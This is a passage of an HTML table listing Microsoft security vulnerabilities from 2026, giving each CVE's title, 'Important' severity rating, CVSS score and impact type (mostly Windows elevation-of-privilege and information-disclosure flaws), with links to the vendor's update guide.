  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26151">CVE-2026-26151</a></td>
  <td>Remote Desktop Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32085">CVE-2026-32085</a></td>
  <td>Remote Procedure Call Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32167">CVE-2026-32167</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32176">CVE-2026-32176</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0390">CVE-2026-0390</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32220">CVE-2026-32220</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32212">CVE-2026-32212</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32214">CVE-2026-32214</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32079">CVE-2026-32079</a></td>
  <td>Web Account Manager Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33104">CVE-2026-33104</a></td>
  <td>Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32196">CVE-2026-32196</a></td>
  <td>Windows Admin Center Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26178">CVE-2026-26178</a></td>
  <td>Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32073">CVE-2026-32073</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26168">CVE-2026-26168</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26173">CVE-2026-26173</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26177">CVE-2026-26177</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26182">CVE-2026-26182</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27922">CVE-2026-27922</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33099">CVE-2026-33099</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33100">CVE-2026-33100</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32088">CVE-2026-32088</a></td>
  <td>Windows Biometric Service Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27913">CVE-2026-27913</a></td>
  <td>Windows BitLocker Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26175">CVE-2026-26175</a></td>
  <td>Windows Boot Manager Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32162">CVE-2026-32162</a></td>
  <td>Windows COM Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20806">CVE-2026-20806</a></td>
  <td>Windows COM Server Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26176">CVE-2026-26176</a></td>
  <td>Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27926">CVE-2026-27926</a></td>
  <td>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32070">CVE-2026-32070</a></td>
  <td>Windows Common Log File System Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33098">CVE-2026-33098</a></td>
  <td>Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26153">CVE-2026-26153</a></td>
  <td>Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32087">CVE-2026-32087</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32093">CVE-2026-32093</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32086">CVE-2026-32086</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32150">CVE-2026-32150</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27931">CVE-2026-27931</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27930">CVE-2026-27930</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32221">CVE-2026-32221</a></td>
  <td>Windows Graphics Component Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27906">CVE-2026-27906</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27928">CVE-2026-27928</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26156">CVE-2026-26156</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32149">CVE-2026-32149</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27910">CVE-2026-27910</a></td>
  <td>Windows Installer Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912">CVE-2026-27912</a></td>
  <td>Windows Kerberos Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26179">CVE-2026-26179</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26180">CVE-2026-26180</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32195">CVE-2026-32195</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26163">CVE-2026-26163</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32215">CVE-2026-32215</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32217">CVE-2026-32217</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32218">CVE-2026-32218</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26169">CVE-2026-26169</a></td>
  <td>Windows Kernel Memory Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27929">CVE-2026-27929</a></td>
  <td>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32071">CVE-2026-32071</a></td>
  <td>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20930">CVE-2026-20930</a></td>
  <td>Windows Management Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26162">CVE-2026-26162</a></td>
  <td>Windows OLE Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33101">CVE-2026-33101</a></td>
  <td>Windows Print Spooler Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32084">CVE-2026-32084</a></td>
  <td>Windows Print Spooler Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27927">CVE-2026-27927</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26184">CVE-2026-26184</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32069">CVE-2026-32069</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32074">CVE-2026-32074</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32078">CVE-2026-32078</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26167">CVE-2026-26167</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32158">CVE-2026-32158</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32159">CVE-2026-32159</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32160">CVE-2026-32160</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26172">CVE-2026-26172</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20928">CVE-2026-20928</a></td>
  <td>Windows Recovery Environment Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32216">CVE-2026-32216</a></td>
  <td>Windows Redirected Drive Buffering System Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27909">CVE-2026-27909</a></td>
  <td>Windows Search Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26161">CVE-2026-26161</a></td>
  <td>Windows Sensor Data Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26174">CVE-2026-26174</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32224">CVE-2026-32224</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26154">CVE-2026-26154</a></td>
  <td>Windows Server Update Service (WSUS) Tampering Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Tampering</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26165">CVE-2026-26165</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26166">CVE-2026-26166</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27918">CVE-2026-27918</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32151">CVE-2026-32151</a></td>
  <td>Windows Shell Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32225">CVE-2026-32225</a></td>
  <td>Windows Shell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32202">CVE-2026-32202</a></td>
  <td>Windows Shell Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32082">CVE-2026-32082</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32083">CVE-2026-32083</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32068">CVE-2026-32068</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32183">CVE-2026-32183</a></td>
  <td>Windows Snipping Tool Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32089">CVE-2026-32089</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32090">CVE-2026-32090</a></td>
  <td>Windows Speech Brokered Api Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32153">CVE-2026-32153</a></td>
  <td>Windows Speech Runtime Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27907">CVE-2026-27907</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32076">CVE-2026-32076</a></td>
  <td>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27908">CVE-2026-27908</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27921">CVE-2026-27921</a></td>
  <td>Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27915">CVE-2026-27915</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27919">CVE-2026-27919</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32075">CVE-2026-32075</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27916">CVE-2026-27916</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27920">CVE-2026-27920</a></td>
  <td>Windows UPnP Device Host Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32077">CVE-2026-32077</a></td>
